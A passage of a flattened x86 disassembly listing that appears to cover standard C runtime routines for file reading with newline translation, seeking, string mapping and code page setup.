loc_41C362 push esi push edi mov edi, [ebp+arg_4] mov esi, ds:dword_431E14[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41C2E5 cmp edi, 2 jle short loc_41C2E5 inc esi loc_41C2E5: ; CODE XREF: sub_41C2A6+37j ; sub_41C2A6+3Cj call sub_41EBDD mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, ds:dword_431D30 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41C358 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41C35E cmp ds:dword_431D34, 0 jz short loc_41C35E lea eax, [ebp+var_24] push eax call sub_41EE50 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41C35E loc_41C358: ; CODE XREF: sub_41C2A6+90j add ecx, ds:dword_431D38 loc_41C35E: ; CODE XREF: sub_41C2A6+96j ; sub_41C2A6+9Fj ... mov eax, ecx jmp short loc_41C365 ; --------------------------------------------------------------------------- loc_41C362: ; CODE XREF: sub_41C2A6+13j ; sub_41C2A6+1Fj or eax, 0FFFFFFFFh loc_41C365: ; CODE XREF: sub_41C2A6+BAj pop ebx leave retn sub_41C2A6 endp ; =============== S U B R O U T I N E ======================================= sub_41C368 proc near ; CODE XREF: sub_416BA7+A9p ; sub_41712C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41C43C test al, 40h jnz loc_41C43C test al, 2 jz short loc_41C38E or al, 20h mov [esi+0Ch], eax jmp loc_41C43C ; --------------------------------------------------------------------------- loc_41C38E: ; CODE XREF: sub_41C368+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41C3A2 push esi call sub_41DAF8 pop ecx jmp short loc_41C3A7 ; --------------------------------------------------------------------------- loc_41C3A2: ; CODE XREF: sub_41C368+2Fj mov eax, [esi+8] mov [esi], eax loc_41C3A7: ; CODE XREF: sub_41C368+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41C441 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41C42B cmp eax, 0FFFFFFFFh jz short loc_41C42B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41C400 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41C3E9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, ds:dword_4CA3C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41C3EE ; --------------------------------------------------------------------------- loc_41C3E9: ; CODE XREF: sub_41C368+6Bj mov edi, offset dword_4319E0 loc_41C3EE: ; CODE XREF: sub_41C368+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41C400 or dh, 20h mov [esi+0Ch], edx loc_41C400: ; CODE XREF: sub_41C368+62j ; sub_41C368+90j cmp dword ptr [esi+18h], 200h jnz short loc_41C41D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41C41D test ch, 4 jnz short loc_41C41D mov dword ptr [esi+18h], 1000h loc_41C41D: ; CODE XREF: sub_41C368+9Fj ; sub_41C368+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41C42B: ; CODE XREF: sub_41C368+55j ; sub_41C368+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41C43C: ; CODE XREF: sub_41C368+Aj ; sub_41C368+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41C368 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C441 proc near ; CODE XREF: sub_416BA7+90p ; sub_41C368+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, ds:dword_4CA4C0 jnb loc_41C61E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4CA3C0h[eax*4] mov eax, ds:dword_4CA3C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41C61E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41C4F6 test dl, 2 jnz short loc_41C4F6 test dl, 48h jz short loc_41C4B6 mov al, [eax+5] cmp al, 0Ah jz short loc_41C4B6 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41C4B6: ; CODE XREF: sub_41C441+56j ; sub_41C441+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:off_422098 test eax, eax jnz short loc_41C509 call ds:dword_42206C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41C4F1 mov ds:dword_4C9084, 9 mov ds:dword_4C9088, ecx jmp loc_41C62F ; --------------------------------------------------------------------------- loc_41C4F1: ; CODE XREF: sub_41C441+99j cmp eax, 6Dh jnz short loc_41C4FD loc_41C4F6: ; CODE XREF: sub_41C441+4Cj ; sub_41C441+51j xor eax, eax jmp loc_41C632 ; --------------------------------------------------------------------------- loc_41C4FD: ; CODE XREF: sub_41C441+B3j push eax call sub_41D064 pop ecx jmp loc_41C62F ; --------------------------------------------------------------------------- loc_41C509: ; CODE XREF: sub_41C441+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41C619 test edx, edx jz short loc_41C52E cmp byte ptr [edi], 0Ah jnz short loc_41C52E or al, 4 jmp short loc_41C530 ; --------------------------------------------------------------------------- loc_41C52E: ; CODE XREF: sub_41C441+E2j ; sub_41C441+E7j and al, 0FBh loc_41C530: ; CODE XREF: sub_41C441+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41C613 loc_41C548: ; CODE XREF: sub_41C441+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41C603 cmp al, 0Dh jz short loc_41C564 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41C5F5 ; --------------------------------------------------------------------------- loc_41C564: ; CODE XREF: sub_41C441+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41C582 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41C579 add [ebp+arg_8], 2 jmp short loc_41C5D7 ; --------------------------------------------------------------------------- loc_41C579: ; CODE XREF: sub_41C441+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41C5F5 ; --------------------------------------------------------------------------- loc_41C582: ; CODE XREF: sub_41C441+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:off_422098 test eax, eax jnz short loc_41C5AA call ds:dword_42206C ; RtlGetLastWin32Error test eax, eax jnz short loc_41C5F1 loc_41C5AA: ; CODE XREF: sub_41C441+15Dj cmp [ebp+var_C], 0 jz short loc_41C5F1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41C5CC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41C5D7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41C5F5 ; --------------------------------------------------------------------------- loc_41C5CC: ; CODE XREF: sub_41C441+176j cmp edi, [ebp+arg_4] jnz short loc_41C5DC cmp [ebp+var_1], 0Ah jnz short loc_41C5DC loc_41C5D7: ; CODE XREF: sub_41C441+136j ; sub_41C441+17Dj mov byte ptr [edi], 0Ah jmp short loc_41C5F4 ; --------------------------------------------------------------------------- loc_41C5DC: ; CODE XREF: sub_41C441+18Ej ; sub_41C441+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41C637 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41C5F5 loc_41C5F1: ; CODE XREF: sub_41C441+167j ; sub_41C441+16Dj mov byte ptr [edi], 0Dh loc_41C5F4: ; CODE XREF: sub_41C441+199j inc edi loc_41C5F5: ; CODE XREF: sub_41C441+11Ej ; sub_41C441+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41C548 jmp short loc_41C613 ; --------------------------------------------------------------------------- loc_41C603: ; CODE XREF: sub_41C441+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41C613 or al, 2 mov [esi], al loc_41C613: ; CODE XREF: sub_41C441+101j ; sub_41C441+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41C619: ; CODE XREF: sub_41C441+DAj mov eax, [ebp+var_8] jmp short loc_41C632 ; --------------------------------------------------------------------------- loc_41C61E: ; CODE XREF: sub_41C441+12j ; sub_41C441+39j and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 loc_41C62F: ; CODE XREF: sub_41C441+ABj ; sub_41C441+C3j or eax, 0FFFFFFFFh loc_41C632: ; CODE XREF: sub_41C441+B7j ; sub_41C441+1DBj pop edi pop esi pop ebx leave retn sub_41C441 endp ; =============== S U B R O U T I N E ======================================= sub_41C637 proc near ; CODE XREF: sub_416E2E+67p ; sub_417E43+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, ds:dword_4CA4C0 push esi push edi jnb short loc_41C6B9 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CA3C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41C6B9 push eax call sub_41DF52 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41C67B mov ds:dword_4C9084, 9 jmp short loc_41C6CA ; --------------------------------------------------------------------------- loc_41C67B: ; CODE XREF: sub_41C637+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:off_42209C mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41C69B call ds:dword_42206C ; RtlGetLastWin32Error jmp short loc_41C69D ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C637+5Aj xor eax, eax loc_41C69D: ; CODE XREF: sub_41C637+62j test eax, eax jz short loc_41C6AA push eax call sub_41D064 pop ecx jmp short loc_41C6CA ; --------------------------------------------------------------------------- loc_41C6AA: ; CODE XREF: sub_41C637+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41C6CD ; --------------------------------------------------------------------------- loc_41C6B9: ; CODE XREF: sub_41C637+Dj ; sub_41C637+2Aj and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 loc_41C6CA: ; CODE XREF: sub_41C637+42j ; sub_41C637+71j or eax, 0FFFFFFFFh loc_41C6CD: ; CODE XREF: sub_41C637+80j pop edi pop esi pop ebx retn sub_41C637 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6D1 proc near ; CODE XREF: sub_416E2E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41C6ED mov [edi+4], ebx loc_41C6ED: ; CODE XREF: sub_41C6D1+17j push 1 push ebx push esi call sub_41C637 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41C75B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41C712 sub eax, [edi+4] jmp loc_41C824 ; --------------------------------------------------------------------------- loc_41C712: ; CODE XREF: sub_41C6D1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41C74C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, ds:dword_4CA3C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41C763 mov edx, ecx loc_41C73D: ; CODE XREF: sub_41C6D1+79j cmp edx, eax jnb short loc_41C763 cmp byte ptr [edx], 0Ah jnz short loc_41C749 inc [ebp+var_8] loc_41C749: ; CODE XREF: sub_41C6D1+73j inc edx jmp short loc_41C73D ; --------------------------------------------------------------------------- loc_41C74C: ; CODE XREF: sub_41C6D1+50j test dl, 80h jnz short loc_41C763 mov ds:dword_4C9084, 16h loc_41C75B: ; CODE XREF: sub_41C6D1+2Dj or eax, 0FFFFFFFFh jmp loc_41C824 ; --------------------------------------------------------------------------- loc_41C763: ; CODE XREF: sub_41C6D1+68j ; sub_41C6D1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41C771 mov eax, [ebp+var_8] jmp loc_41C824 ; --------------------------------------------------------------------------- loc_41C771: ; CODE XREF: sub_41C6D1+96j test byte ptr [edi+0Ch], 1 jz loc_41C81C mov edx, [edi+4] test edx, edx jnz short loc_41C78A and [ebp+var_8], edx jmp loc_41C81C ; --------------------------------------------------------------------------- loc_41C78A: ; CODE XREF: sub_41C6D1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4CA3C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41C816 push 2 push 0 push [ebp+var_C] call sub_41C637 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41C7DD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41C7C8: ; CODE XREF: sub_41C6D1+104j cmp eax, ecx jnb short loc_41C7D7 cmp byte ptr [eax], 0Ah jnz short loc_41C7D4 inc [ebp+arg_0] loc_41C7D4: ; CODE XREF: sub_41C6D1+FEj inc eax jmp short loc_41C7C8 ; --------------------------------------------------------------------------- loc_41C7D7: ; CODE XREF: sub_41C6D1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41C811 ; --------------------------------------------------------------------------- loc_41C7DD: ; CODE XREF: sub_41C6D1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41C637 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41C804 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41C804 test ch, 4 jz short loc_41C807 loc_41C804: ; CODE XREF: sub_41C6D1+124j ; sub_41C6D1+12Cj mov eax, [edi+18h] loc_41C807: ; CODE XREF: sub_41C6D1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41C811: ; CODE XREF: sub_41C6D1+10Aj jz short loc_41C816 inc [ebp+arg_0] loc_41C816: ; CODE XREF: sub_41C6D1+D9j ; sub_41C6D1:loc_41C811j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41C81C: ; CODE XREF: sub_41C6D1+A4j ; sub_41C6D1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41C824: ; CODE XREF: sub_41C6D1+3Cj ; sub_41C6D1+8Dj ... pop edi pop esi pop ebx leave retn sub_41C6D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C829 proc near ; CODE XREF: sub_417183+47p ; sub_417183+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4228C8 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp ds:dword_4C9110, edi jnz short loc_41C89F push edi push edi push 1 pop ebx push ebx push offset dword_4228C0 mov esi, 100h push esi push edi call ds:dword_4221B0 ; LCMapStringW test eax, eax jz short loc_41C87D mov ds:dword_4C9110, ebx jmp short loc_41C89F ; --------------------------------------------------------------------------- loc_41C87D: ; CODE XREF: sub_41C829+4Aj push edi push edi push ebx push offset dword_4325D4 push esi push edi call ds:dword_4221AC ; LCMapStringA test eax, eax jz loc_41C9B7 mov ds:dword_4C9110, 2 loc_41C89F: ; CODE XREF: sub_41C829+2Ej ; sub_41C829+52j cmp [ebp+arg_C], edi jle short loc_41C8B4 push [ebp+arg_C] push [ebp+arg_8] call sub_420586 pop ecx pop ecx mov [ebp+arg_C], eax loc_41C8B4: ; CODE XREF: sub_41C829+79j mov eax, ds:dword_4C9110 cmp eax, 2 jnz short loc_41C8DB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221AC ; LCMapStringA jmp loc_41C9B9 ; --------------------------------------------------------------------------- loc_41C8DB: ; CODE XREF: sub_41C829+93j cmp eax, 1 jnz loc_41C9B7 cmp [ebp+arg_18], edi jnz short loc_41C8F1 mov eax, ds:dword_4C912C mov [ebp+arg_18], eax loc_41C8F1: ; CODE XREF: sub_41C829+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_422134 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41C9B7 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C94C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41C94C: ; CODE XREF: sub_41C829+10Ej cmp [ebp+var_24], edi jz short loc_41C9B7 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_422134 ; MultiByteToWideChar test eax, eax jz short loc_41C9B7 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221B0 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41C9B7 test byte ptr [ebp+arg_4+1], 4 jz short loc_41C9CB cmp [ebp+arg_14], edi jz loc_41CA46 cmp esi, [ebp+arg_14] jg short loc_41C9B7 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221B0 ; LCMapStringW test eax, eax jnz loc_41CA46 loc_41C9B7: ; CODE XREF: sub_41C829+66j ; sub_41C829+B5j ... xor eax, eax loc_41C9B9: ; CODE XREF: sub_41C829+ADj ; sub_41C829+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41C9CB: ; CODE XREF: sub_41C829+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C9FF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41C9FF: ; CODE XREF: sub_41C829+1C2j cmp ebx, edi jz short loc_41C9B7 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4221B0 ; LCMapStringW test eax, eax jz short loc_41C9B7 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41CA26 push edi push edi jmp short loc_41CA2C ; --------------------------------------------------------------------------- loc_41CA26: ; CODE XREF: sub_41C829+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41CA2C: ; CODE XREF: sub_41C829+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_422130 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41C9B7 loc_41CA46: ; CODE XREF: sub_41C829+165j ; sub_41C829+188j mov eax, esi jmp loc_41C9B9 sub_41C829 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA4D proc near ; CODE XREF: sub_41CE11+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41CBE6 ; GetOEMCP mov esi, eax pop ecx cmp esi, ds:dword_4CA4C4 mov [ebp+arg_0], esi jz loc_41CBDA xor ebx, ebx cmp esi, ebx jz loc_41CBD0 xor edx, edx mov eax, offset dword_431700 loc_41CA81: ; CODE XREF: sub_41CA4D+41j cmp [eax], esi jz short loc_41CAF7 add eax, 30h inc edx cmp eax, offset dword_4317F0 jl short loc_41CA81 lea eax, [ebp+var_18] push eax push esi call ds:dword_4221B4 ; GetCPInfo cmp eax, 1 jnz loc_41CBC8 push 40h xor eax, eax pop ecx mov edi, offset byte_4CA5E0 cmp [ebp+var_18], 1 mov ds:dword_4CA4C4, esi rep stosd stosb mov ds:dword_4CA6E4, ebx jbe loc_41CBB6 cmp [ebp+var_12], 0 jz loc_41CB8C lea ecx, [ebp+var_11] loc_41CAD4: ; CODE XREF: sub_41CA4D+139j mov dl, [ecx] test dl, dl jz loc_41CB8C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41CAE5: ; CODE XREF: sub_41CA4D+A8j cmp eax, edx ja loc_41CB80 or ds:byte_4CA5E1[eax], 4 inc eax jmp short loc_41CAE5 ; --------------------------------------------------------------------------- loc_41CAF7: ; CODE XREF: sub_41CA4D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4CA5E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_431710[esi] loc_41CB13: ; CODE XREF: sub_41CA4D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41CB46 loc_41CB1A: ; CODE XREF: sub_41CA4D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41CB46 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41CB3F mov edx, [ebp+var_4] mov dl, ds:byte_4316F8[edx] loc_41CB34: ; CODE XREF: sub_41CA4D+F0j or ds:byte_4CA5E1[eax], dl inc eax cmp eax, edi jbe short loc_41CB34 loc_41CB3F: ; CODE XREF: sub_41CA4D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41CB1A loc_41CB46: ; CODE XREF: sub_41CA4D+CBj ; sub_41CA4D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41CB13 mov eax, [ebp+arg_0] mov ds:dword_4CA4DC, 1 push eax mov ds:dword_4CA4C4, eax call sub_41CC30 lea esi, dword_431704[esi] mov edi, offset dword_4CA4D0 movsd movsd pop ecx mov ds:dword_4CA6E4, eax movsd jmp short loc_41CBD5 ; --------------------------------------------------------------------------- loc_41CB80: ; CODE XREF: sub_41CA4D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41CAD4 loc_41CB8C: ; CODE XREF: sub_41CA4D+7Ej ; sub_41CA4D+8Bj push 1 pop eax loc_41CB8F: ; CODE XREF: sub_41CA4D+14Fj or ds:byte_4CA5E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41CB8F push esi call sub_41CC30 pop ecx mov ds:dword_4CA6E4, eax mov ds:dword_4CA4DC, 1 jmp short loc_41CBBC ; --------------------------------------------------------------------------- loc_41CBB6: ; CODE XREF: sub_41CA4D+74j mov ds:dword_4CA4DC, ebx loc_41CBBC: ; CODE XREF: sub_41CA4D+167j xor eax, eax mov edi, offset dword_4CA4D0 stosd stosd stosd jmp short loc_41CBD5 ; --------------------------------------------------------------------------- loc_41CBC8: ; CODE XREF: sub_41CA4D+51j cmp ds:dword_4C9134, ebx jz short loc_41CBDE loc_41CBD0: ; CODE XREF: sub_41CA4D+27j call sub_41CC63 loc_41CBD5: ; CODE XREF: sub_41CA4D+131j ; sub_41CA4D+179j call sub_41CC8C loc_41CBDA: ; CODE XREF: sub_41CA4D+1Dj xor eax, eax jmp short loc_41CBE1 ; --------------------------------------------------------------------------- loc_41CBDE: ; CODE XREF: sub_41CA4D+181j or eax, 0FFFFFFFFh loc_41CBE1: ; CODE XREF: sub_41CA4D+18Fj pop edi pop esi pop ebx leave retn sub_41CA4D endp ; =============== S U B R O U T I N E ======================================= sub_41CBE6 proc near ; CODE XREF: sub_41CA4D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and ds:dword_4C9134, 0 cmp eax, 0FFFFFFFEh jnz short loc_41CC06 mov ds:dword_4C9134, 1 jmp ds:dword_4221BC ; --------------------------------------------------------------------------- loc_41CC06: ; CODE XREF: sub_41CBE6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41CC1B mov ds:dword_4C9134, 1 jmp ds:dword_4221B8 ; --------------------------------------------------------------------------- loc_41CC1B: ; CODE XREF: sub_41CBE6+23j cmp eax, 0FFFFFFFCh jnz short locret_41CC2F mov eax, ds:dword_4C912C mov ds:dword_4C9134, 1 locret_41CC2F: ; CODE XREF: sub_41CBE6+38j retn sub_41CBE6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC30 proc near ; CODE XREF: sub_41CA4D+118p ; sub_41CA4D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41CC5D sub eax, 4 jz short loc_41CC57 sub eax, 0Dh jz short loc_41CC51 dec eax jz short loc_41CC4B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CC4B: ; CODE XREF: sub_41CC30+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41CC51: ; CODE XREF: sub_41CC30+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41CC57: ; CODE XREF: sub_41CC30+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41CC5D: ; CODE XREF: sub_41CC30+9j mov eax, 411h retn sub_41CC30 endp ; =============== S U B R O U T I N E ======================================= sub_41CC63 proc near ; CODE XREF: sub_41CA4D:loc_41CBD0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4CA5E0 rep stosd stosb xor eax, eax mov edi, offset dword_4CA4D0 mov ds:dword_4CA4C4, eax mov ds:dword_4CA4DC, eax mov ds:dword_4CA6E4, eax stosd stosd stosd pop edi retn sub_41CC63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC8C proc near ; CODE XREF: sub_41CA4D:loc_41CBD5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push ds:dword_4CA4C4 call ds:dword_4221B4 ; GetCPInfo cmp eax, 1 jnz loc_41CDC5 xor eax, eax mov esi, 100h loc_41CCB6: ; CODE XREF: sub_41CC8C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41CCB6 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41CD07 push ebx push edi lea edx, [ebp+var_D] loc_41CCD5: ; CODE XREF: sub_41CC8C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41CCFC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41CCFC: ; CODE XREF: sub_41CC8C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41CCD5 pop edi pop ebx loc_41CD07: ; CODE XREF: sub_41CC8C+42j push 0 lea eax, [ebp+var_514] push ds:dword_4CA6E4 push ds:dword_4CA4C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41DC83 push 0 lea eax, [ebp+var_214] push ds:dword_4CA4C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push ds:dword_4CA6E4 call sub_41C829 push 0 lea eax, [ebp+var_314] push ds:dword_4CA4C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push ds:dword_4CA6E4 call sub_41C829 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41CD82: ; CODE XREF: sub_41CC8C+135j mov dx, [ecx] test dl, 1 jz short loc_41CDA0 or ds:byte_4CA5E1[eax], 10h mov dl, 